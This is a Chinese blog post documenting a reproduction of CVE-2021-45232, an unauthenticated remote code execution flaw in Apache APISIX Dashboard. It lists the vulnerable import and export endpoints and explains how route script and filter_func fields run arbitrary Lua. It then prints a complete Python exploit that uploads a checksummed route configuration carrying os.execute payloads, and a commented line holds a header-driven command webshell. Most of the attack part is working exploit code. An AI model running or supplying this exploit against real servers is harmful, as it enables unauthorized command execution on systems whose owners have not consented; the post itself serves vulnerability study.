Live2D

apache apisix Dashboard 未授权到rce

背景:

复现记录学习

漏洞编号:

CVE-2021-45232

漏洞详细:

可以把你所配置的路由列表信息未授权,严重可造成rce

影响范围:

apche:APISIX Dashboard <2.10.1

环境搭建:

git clone https://github.com/apache/apisix-docker

修改docker-compose.yml 

 

 docker-compose up -d 启动环境

poc:

访问下面两个路径返回状态为200存在漏洞

/apisix/admin/migrate/export 

/apisix/admin/migrate/import

 

    

未授权到rce执行:

一、利用filter_func函数:

 

 

 

 

 

触发漏洞: 访问9080端口 出发漏洞代码代码

curl http://ip:9080  

触发成功:

二、在路由中添加script 代码

官方文档:https://apisix.apache.org/docs/apisix/architecture-design/script

 原因:该接口可以导入api six接口配置文件,路由存在script参数,可以执行任意lua脚本,造成命令执行;

配置一个路由 ,修改uri 和添加script脚本

访问http://ip:9080/123 成功执行 mkdir /tmp/123

 

 

调用 /apisix/admin/migrate/import 这个接口

思路:就是需要导入文件,文件需要checksum利用python脚本 

参考大佬的脚本,需要对数据进行checksum以file导入

抓包

 

 

 

参考大佬的脚本,自己改了一点:https://github.com/wuppp/cve-2021-45232-exp

import random,string,json,zlib,requests
#"script": "local file = io.popen(ngx.re.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)q",
eval_config = {
    "Counsumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1640674554,
            "update_time": 1640677637,
            "uris": [
                "/rce"
            ],
            "name": "rce",
            "methods": [
                "GET",
                "POST",
                "PUT",
                "DELETE",
                "PATCH",
                "HEAD",
                "OPTIONS",
                "CONNECT",
                "TRACE"
            ],
            "script": "os.execute('mkdir /tmp/852')",
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}
proxies={
        "http":"http://127.0.0.1:8080",
      "https":"https://127.0.0.1:8080"
    }
#将数据进行checksum
def calc_crc(data):
    crc32 = zlib.crc32(data) & 0xffffffff
    return crc32.to_bytes(4, byteorder="big")

def import_apix(url,data):

    data = json.dumps(data).encode()  # 将数据进行转换为json存储到文件中,后面需要以文件上传
    checksum=calc_crc(data) # 进行checksum ,然后添加到数据后面

    files = {"file": ("data", data + checksum, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files, proxies=proxies,verify=False)
    # print(resp.text)
    if resp.json().get("code", -1) == 0:
        return True
    else:
        return False

#生成一个随机路径
def random_str():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=6))

if __name__ == '__main__':

    uri = random_str()
    print(uri)
    eval_config["Routes"][0]["uris"] = ["/" + uri]
    eval_config["Routes"][0]["name"] = uri
    print(eval_config,end='\n')
    if import_apix('http://192.168.142.128:9000', eval_config):
        print("attack success")
        print("uri is: " + "/" + uri)
    else:
        print("attack error")

 获取到这个url后同样访问 http:/ip:9080/uri 即可成功

 补充:

利用第一种也可以,修改python脚本添加filter_func:function(vars) os.execute(\"mkdir /tmp/789\");return end就可以

 

参考链接:

https://www.o2oxy.cn/3945.html

https://www.bookstack.cn/read/apache-apisix-1.4-zh/33860207d6bb4917.md

posted @ 2022-01-04 17:58  小直789  阅读(455)  评论(0)    收藏  举报
Live2D